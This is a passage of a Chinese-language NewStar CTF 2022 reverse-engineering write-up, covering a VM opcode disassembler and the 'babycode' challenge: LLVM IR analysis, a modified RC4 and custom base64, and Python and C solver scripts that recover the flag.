            print("mov input[", opcode[i + 2], "] ", "reg[", opcode[i + 3] - 208, "]")
            print()
        elif opcode[i + 1] == 3:
            print("mov reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
    elif opcode[i] == 162:  # sub
        if opcode[i + 1] == 1:
            print("sub reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("sub reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    elif opcode[i] == 160:  # xor
        if opcode[i + 1] == 1:
            print("xor reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("xor reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    elif opcode[i] == 161:  # add
        if opcode[i + 1] == 1:
            print("add reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
        elif opcode[i + 1] == 0:
            print("add reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
    i += 4

print("end !!!")

得到 伪汇编代码!

0x02 翻译后的伪汇编代码分析
# 运行上面脚本 即可得到【数据比较多,这里就不展示了】

翻译后得到上面伪汇编代码,逐个解密得到flag!

0x03 py解密
# encoding=utf-8

input = [0x84, 0x1F, 0x3C, 0x7B, 0xB9, 0x2A, 0x6C, 0x63, 0xA4,
         0x72, 0x1B, 0x08, 0x76, 0x5F, 0x96, 0x88, 0x86, 0x5F, 0x7B,
         0x67, 0xCD, 0x86, 0x97, 0x66, 0x64, 0x99, 0xFC, 0x7D, 0x81]

input[3] = (input[3] + 2) ^ 20 - 2
input[10] = input[10] ^ 97 ^ 3
input[17] = (input[17] ^ 3 + 2) ^ 1
input[22] = (input[22] ^ 230 ^ 1 - 2 + 252 + 2)
input[5] = (((((input[5] - 1) ^ 1 ^ 74 - 112) + 1 + 23) ^ 74) + 23)&0xff
input[0] = (((input[0] ^ 2 + 3) ^ 31 + 2) - 11 + 217) & 0xff
input[7] = ((input[7] + 6) ^ 2 + 1)
input[25] = ((input[25] + 4 - 2) ^ 1 - 128 + 78) & 0xff
input[23] = ((input[23] ^ 3 + 3 - 3) ^ 3 ^ 1 + 2)
input[14] = (input[14] - 228 - 1 + 249 + 249 + 1 + 3) & 0xff
input[19] = (input[19] + 1)
input[26] = (((input[26] ^ 3 + 9 - (58-79)) ^ 2 ^ 117)&0xff - 58) & 0xff
input[20] = (((input[20] - 4) ^ 1 - 4 - 4) ^ 2) & 0xff
input[2] = (input[2] + 24 + 3 - 244 - 2) & 0xff
input[18] = ((input[18] - 2 - 3) ^ 3 ^ 237 ^ 1 ^ 218)
input[4] = (((input[4] - 2 + 1) ^ (216 - 188) - 42 - 1) ^ 2) & 0xff
input[6] = ((input[6] + 1 - 3 + 2 + 3) ^ 3 - 2) ^ 3
input[11] = ((input[11] + 174) ^ (112 - 174 + 4) - 2 + 3 + 2 - 4) & 0xff
input[21] = (((input[21] - 3) ^ 2 + 3 + 236 + 236) ^ 3) & 0xff
input[9] = ((input[9] + 2) ^ 2 + 1 - 3 - 2 - 20 + 1) & 0xff
input[28] = ((input[28] ^ 28-1) ^ 28-3-1 + 1)
input[15] = (((input[15]-(53-177^165)) ^ 3 + 2) ^ 3)&0xff
input[16] = (((input[16]-3-2) + 3) ^ 227 -2)&0xff
input[8] = (((input[8]-(53+53)^43)  + 3-3-1) ^ 43)&0xff
input[1] = ((input[1]) ^ 1-178)&0xff
input[13] = ((input[1]) ^ 2) ^ 3 ^ 1
input[24] = (((input[24]) + 1) ^ 1) ^ 3
input[12] = ((input[12])-1-3 + 4) ^ 3
input[27] = ((input[27]-57-1-2) ^ 1 -3-1+ 3)

print(bytes(input))
# for i in range(len(input)):
#     print(chr(input[i] & 0xff), end='')

数据一直不对,不断排查后,猜测是位处理的问题,程序中的字符是无符号整型:

u_int8_t 处理后【写了个c脚本还是错误!!!!】

魔幻的问题!!再试一次!!! 【还是不可以】

【不知道哪里出了问题,等WP吧!!!】

babycode (middle)

0x01 llvm 中间代码 .ll 了解

语言参考手册 — LLVM 16.0.0git 文档

(175条消息) LLVM IR(一)——如何使用LLVM编译执行代码_七妹要奈斯的博客-CSDN博客_llvm 生成ir

LLVM IR入门指南(1)——LLVM架构简介 - 知乎 (zhihu.com)

LLVM编译流程——全详解(快来看史上最细解析!!) | 码农家园 (codenong.com)

这里尝试将 .ll 转化为 .out 可执行文件。

Ubuntu 环境安装:

sudo apt-get install llvm

sudo apt-get install clang

# 安装失败

kali clang 环境: 【环境自带】

将C文件编译为LLVM bitcode 文件
clang -o3  -emit-llvm hello.c -c -o hello.bc

由于.bc 是bitcode的二进制格式,.ll 文件 llvm bitcode 的可读文本
clang -o3  -emit-llvm hello.c -S -o hello.ll

llvm-dis 工具反汇编llvm bitcode 文件, 可以将bc文件转为.ll文件

llvm-dis hello.bc

用 llvm-as 工具通过汇编文件(.ll 文件)得到字节码文件(.bc 文件)
llvm-as hello.ll hello.bc

.bc编译成.o
第一种方法:用clang直接将其编译为可执行文件
clang a.o.bc -o struct

第二种方法:用llc先将bc编译为汇编,再用本地的gcc将其编译为可执行文件。

    llc a.o.bc -o hello.s
    gcc hello.s -o hello

编译生成可执行文件
clang hello.c -o hello

或者

clang -emit-llvm -c hello.c

.bc到.s编译指令
clang -S -fobjc-arc struct.bc -o struct.s

使用如下命令转换:

llvm-as task.ll task.bc

显然出题人,修改了!【避免这个解题思路】--->【当时做题的错误判断】

还是得分析.ll llvm 中间文件

【其实这里改为:

llvm-as task.ll -o task.bc

就可以很快将将ll中间文件转化为 可执行文件!!!,0x05 就是这种思路

【但当时本着学习的态度,没深究就直接学习llvm .ll 中间代码去了,也比较曲折】

0x02 分析 .ll 中间文件算法流程
@ - 全局变量
% - 局部变量
alloca - 在当前执行的函数的堆栈帧中分配内存,当该函数返回到其调用者时,将自动释放内存
i32 - 32位4字节的整数
align - 对齐
load - 读出,store写入
icmp - 两个整数值比较,返回布尔值
br - 选择分支,根据条件来转向label,不根据条件跳转的话类型goto
label - 代码标签
call - 调用函数

(175条消息) (LLVM)中间语言(IR)基本语法简介_wy7980的博客-CSDN博客_ir中间语言

(176条消息) LLVM IR / LLVM指令集入门_Canliture的博客-CSDN博客_llvm指令集

Rc4 加密的分析:

  %22 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
  %23 = load i32, i32* %4, align 4
  call void @Rc4_Init(i8* %22, i32 %23)    // 传入密钥即密钥长度
  %24 = getelementptr inbounds [42 x i8], [42 x i8]* %2, i64 0, i64 0
  call void @Rc4_Encrypt(i8* %24, i32 16)

 知道 rc4 密钥key="llvmbitc"

# 同时调用了两次rc4 加密,
# 中间有一段xor 加密     // input[pos+16]^=input[pos]
# 如下

rc4_enc(input,16)
for pos in range(16)
    input[pos+16]^=input[pos]
rc4_enc(input[16],16)

魔改 Base64 分析:

  %22 = getelementptr inbounds i8, i8* %19, i64 %21    // 取出当前处理字符
  %23 = load i8, i8* %22, align 1
  %24 = zext i8 %23 to i32                                               // 类型强制转化
  %25 = ashr i32 %24, 2                                                   // 算数右移两位   input[i]>>2
  %26 = add nsw i32 %25, 59                                          //    input[i]+59
  %27 = trunc i32 %26 to i8                                             //    强制转化  相当于 &0xff
  %28 = load i8*, i8** %6, align 8
  %29 = load i32, i32* %9, align 4
  %30 = sext i32 %29 to i64
  %31 = getelementptr inbounds i8, i8* %28, i64 %30     // 存储base64 编码串
  store i8 %27, i8* %31, align 1
  %32 = load i8*, i8** %4, align 8
  %33 = load i32, i32* %7, align 4
  %34 = sext i32 %33 to i64
  %35 = getelementptr inbounds i8, i8* %32, i64 %34
  %36 = load i8, i8* %35, align 1
  %37 = zext i8 %36 to i32
  %38 = and i32 %37, 3                                                     // 获取第一个字符 低两位
  %39 = shl i32 %38, 4                                                      // 左移四位

  # 这里的编码思路就是:
  # 每三个字符,24位,切分成4断,每段6位。
  # 将6位对应的值 (value+ 59)&0xff 则是编码后的值。
0x03 深入分析 llvm中间代码算法流程

对上面流程实现解密!

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw'

for i in range(len(enc)):
    print((ord(enc[i])),end=',')

print()
for i in range(len(enc)):
    print(str(bin((ord(enc[i])-59)&0xff)[2:].zfill(6)), end='')

print()

enc_ = '0110010110001111111001011100000111000100001011001001110100100011011110001111110111011001101011111001010001011100000100010001111100100101111101111100110110011111011110000100111110010111111110000110000101001110010111111111111101100111101011101100000010001111'
print()

for i in range(0, len(enc_), 8):
    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f, 0x25, 0xf7,
           0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1=[0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2=[0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

print()
# rc4 解密
key=b'llvmbitc\00'
# key=b'<---  NewStarCTF2022  --->\x00'

cipher_text2 = bytes(chipher2)

print(cipher_text2)
# 两次rc4

cipher = ARC4.new(key)
decrypt_text2 = cipher.decrypt(cipher_text2)

# 中间1次xor
decrypt_text2=list(decrypt_text2)
for i in range(0,len(decrypt_text2)):
    decrypt_text2[i]^=chipher[i]

print(decrypt_text2)

cipher_text1= bytes(chipher1)
print(cipher_text1)

# cipher = ARC4.new(key)
decrypt_text1 = cipher.decrypt(cipher_text1)

print(list(decrypt_text1),decrypt_text2)

解密发现得不出flag!!!

排查之后,发现应该是rc4 也被魔改了!

RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

 # 初始化
 @Rc4_Init(key,len)  # 分析发现,无魔改

key=b'llvmbitc\x00'

 for i in range(256):
     s[i]=i
     t[i]=key[i%len]

 j = 0;
 for i in range(256):
     j = (j + S[i] + T[i]) mod 256;
    swap(S[i] , S[j]);

 # 加密
@Rc4_Encrypt(input,len)

for i in range(len):
    i = (i + 1) mod 256;
    j = (j + S[i]) mod 256;
    swap(S[i] , S[j]);
    //t = (S[i] + S[j]) mod 256;
    t=S[(S[i] + S[j]) mod 256]

    k=t^0x89     //   魔改位置, 多xor 89
    //可以直接在这里进行加密,当然也可以将密钥流保存在数组中,最后进行异或就ok  
    input[]=input[i]^k; //进行加密

rc4 就是加了一个 xor 89 的操作

0x04 解密分析

现在梳理一下加密流程:

rc4_enc(input,16) xor 89
for pos in range(16)
    input[pos+16]^=input[pos]
rc4_enc(input[16],16) xor 89

enc=b64encode(input[],32)

比较密文


chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f,
           0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1 = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2 = [0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

for i in range(len(chipher)):
    chipher[i] ^= 89
    if i > 15:
        chipher[i] = chipher[i]^chipher[i - 16]^89

# rc4 解密
key = b'llvmbitc\x00'

cipher_text = bytes(chipher)
# 两次rc4  可以合并

cipher = ARC4.new(key)
decrypt_text = cipher.decrypt(cipher_text)

print()
print(decrypt_text)
print(list(decrypt_text))

解密发现还是不对,猜测可能原因是Rc4 前后两次加密,共用一次初始化的S盒,但第二次加密下标从0开始,且使用第一次Rc4加密后的S盒,这里显然是耦合的,显然只能写脚本解密,py调用模板肯定用不了!

写了个 c脚本,也无用!!!直接蒙蔽,,,

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
    printf("\n");
    i=0,j=0,t=0;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k+16] = Data[k+16] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
        printf("\n");
}

int main()
{
    //字符串密钥
//    unsigned char key[] = "zstuctf";
    unsigned char key[] ="llvmbitc";
    unsigned long key_len = sizeof(key) -1 ;

//    //数组密钥
//    unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
//    unsigned long key_len = sizeof(key);

    //加解密数据
//    unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
//        0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
//        0x77, 0x9A, 0x12, 0x99 };

    unsigned char data[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};     

    unsigned char data1[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};        

    //加解密
    rc4_crypt(data, sizeof(data), key, key_len);

    for (int i = 0; i < sizeof(data); i++)
    {
        if (i>15)
        {
            printf("%c,", data[i]^data1[i-16]);
        }
        else
        {
            printf("%c,", data[i]);
        }
    }
    printf("\n");
    return 0;
}

哪分析错了呢!,先缓缓,后面再来做!!!

0x05 .ll 转化为 elf 再探索

后面又尝试以将中间代码转化为可执行文件的思路

└─# llvm-as task.ll task.bc
llvm-as: Too many positional arguments specified!
Can specify at most 1 positional arguments: See: llvm-as --help
┌──(root㉿xiaoxiao)-[~/ida_]
└─# llvm-as task.ll -o task.bc

┌──(root㉿xiaoxiao)-[~/ida_]
└─# clang task.bc -o task

# 原来,最开始是由于少了 -o 造成 .ll 到 .bc 转化失败!!!

导出task可执行程序后,ida分析elf 文件

发现,一直遗漏了一个细节!!!base64 编码是,第2、3是交换了位置的!

同时,多出2个字节的编码也有改动!【显然,对llvm 中间代码的分析还是有点马虎】【其他加密逻辑是分析清楚了的】

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw='

for i in range(len(enc)):
    print((ord(enc[i])), end=',')

print()
for i in range(0, len(enc)-4, 4):
    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 2]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 3]) - 59) & 0xff)[2:].zfill(6)), end='')
# base64 最后 = 处理
for i in range(len(enc)-4,len(enc),4):
    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
    print(str(bin(((ord(enc[i + 2]) - 59)>>2) & 0xf)[2:].zfill(6)), end='')
    print('0'*6)

print()

enc_ = '011001111111011000100101110000010000011100101100100111001101010010111000111111100110011101101111100101110000000101010001000111010111110010110111110011111101011001111000010011011111111001111000011000111001010100011111111111011110110110101110110000001000001111000000'
print()

for i in range(0, len(enc_), 8):
    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83,0xc0]

如下,再用C脚本解密得到:

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
    printf("\n");
    i=0,j=0,t=0;
    for (k = 0; k < Len_D/2; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k+16] = Data[k+16] ^ s[t]^89;
        printf("0x%x,",s[t]^89);
    }
        printf("\n");
}

int main()
{
    //字符串密钥
//    unsigned char key[] = "zstuctf";
    unsigned char key[] ="llvmbitc";
    unsigned long key_len = sizeof(key) -1 ;

//    //数组密钥
//    unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
//    unsigned long key_len = sizeof(key);

    //加解密数据
//    unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
//        0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
//        0x77, 0x9A, 0x12, 0x99 };

    unsigned char data[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
    unsigned char data1[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
    //加解密
    rc4_crypt(data, sizeof(data), key, key_len);

    for (int i = 0; i < sizeof(data); i++)
    {
        if (i>15)
        {
            printf("%c", data[i]^data1[i-16]);
        }
        else
        {
            printf("%c", data[i]);
        }
    }
    printf("\n");
    return 0;
}

flag{Hacking_for_fun@reverser$!q

【这里最后一字节,是'q'不是'}'的原因在于,base64 编码时,有个&0xf的操作,导致信息丢失,但由于只有一位也就不爆破了】

得到flag:

flag{Hacking_for_fun@reverser$!}

【注:这题学到了很多东西,对.ll中间代码语法摸了个小透,但由于base64 编码的小细节没注意到,导致做题时还是很曲折的,最后转化为可执行文件进行逆向才成功破案】

​ 这次 NewStar CTF 2022 公开赛,体验很好。我回顾了很多Re方面的知识点,也学习到了一些新的东西。从Week2 开始参赛,直到 Week5 结束,主攻逆向题目,做了少量Web题。Re 题除了Week5 的 Virtual Self 没做出来,其他全部解出,这是十分鼓舞人心的,当然也算是一个不圆满的小遗憾了吧!【没能Ak Week2-Week5 的所有Re】。

​ 最后对自己有一点小小(笑笑)的展望:希望接下来,能在中等难度比赛中有所突破【相对应的,也就是在逆向水平方面有所提高】!

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器